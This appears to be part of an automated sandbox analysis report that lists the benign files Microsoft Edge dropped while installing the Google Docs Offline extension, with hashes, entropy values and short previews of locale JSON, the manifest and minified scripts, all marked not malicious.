SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.752941882424501
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvVpfcNLFev:m8IEI4u8ROxev
MD5:	F897300492E3AB467E56883D23D02D77
SHA1:	DECD6DC9E70ECCF9B45983147680614C019B99EA
SHA-256:	F9B3A5747DEDCB5AED58FCFC0F4FD3BD2F2E903F2CCEF90A92A73DBC0F8C3DBD
SHA-512:	B8AC574E24814BAF04A264E7F3F00B4285CD7B66104DFC77897440A898FCA5230775300EC7DEF723678975A04C2CD1BC73A44F77DA26262E8704029930990C62
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417781191647272
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1H9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APHgiVb
MD5:	35068E2550395A8A3E74558F2F4658DA
SHA1:	BD6620054059BFB7A27A4FFF86B9966727F2C2B9
SHA-256:	E2F418C816895E830541F48C0406B9398805E88B61A4EC816244154CD793743C
SHA-512:	4BCB971D7353648ABF25ACA7A4A4771F62BBB76F8FC13BDE886F29826D9314F5101942492004FC719493604D317958B63A95CF5173F8180214F27D6BEA303F97
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir6596_545307093\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir6596_58898632\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
